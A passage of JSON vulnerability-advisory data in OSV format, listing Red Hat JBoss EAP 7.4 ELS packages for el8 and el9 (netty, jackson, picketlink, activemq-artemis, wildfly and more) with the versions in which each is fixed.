Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-ironjacamar-core-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-ironjacamar-core-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-ironjacamar-deployers-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-ironjacamar-jdbc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-ironjacamar-validator","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-datatype-jdk8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-datatype-jsr310","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-jaxrs-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-jaxrs-json-provider","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-jaxrs-providers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-module-jaxb-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-modules-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-modules-java8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jboss-remoting","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.0.31-3.SP2_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jboss-server-migration","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.0-46.Final_redhat_00044.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jboss-server-migration-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.0-46.Final_redhat_00044.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jboss-server-migration-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.0-46.Final_redhat_00044.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-transport-native-epoll-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-bindings","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-30.SP12_redhat_00020.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-federation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-idm-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-idm-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-idm-simple-schema","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-wildfly8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-30.SP12_redhat_00020.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-undertow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.40-1.SP3_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-wildfly","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-wildfly-java-jdk11","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-wildfly-java-jdk17","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-wildfly-java-jdk8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-wildfly-javadocs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-wildfly-modules","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-commons","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-core-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-dto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-hornetq-protocol","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-hqclient-protocol","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-jdbc-store","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-jms-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-jms-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-journal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-ra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-selector","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-service-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-activemq-artemis-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-glassfish-jsf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.3.14-11.SP11_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-ironjacamar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-ironjacamar-common-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-ironjacamar-common-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-ironjacamar-common-spi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-ironjacamar-core-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-ironjacamar-core-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-ironjacamar-deployers-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-ironjacamar-jdbc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-ironjacamar-validator","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-datatype-jdk8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-datatype-jsr310","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-jaxrs-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-jaxrs-json-provider","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-jaxrs-providers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-module-jaxb-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-modules-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jackson-modules-java8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jboss-remoting","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.0.31-3.SP2_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jboss-server-migration","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.0-46.Final_redhat_00044.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jboss-server-migration-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.0-46.Final_redhat_00044.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-jboss-server-migration-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.0-46.Final_redhat_00044.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red 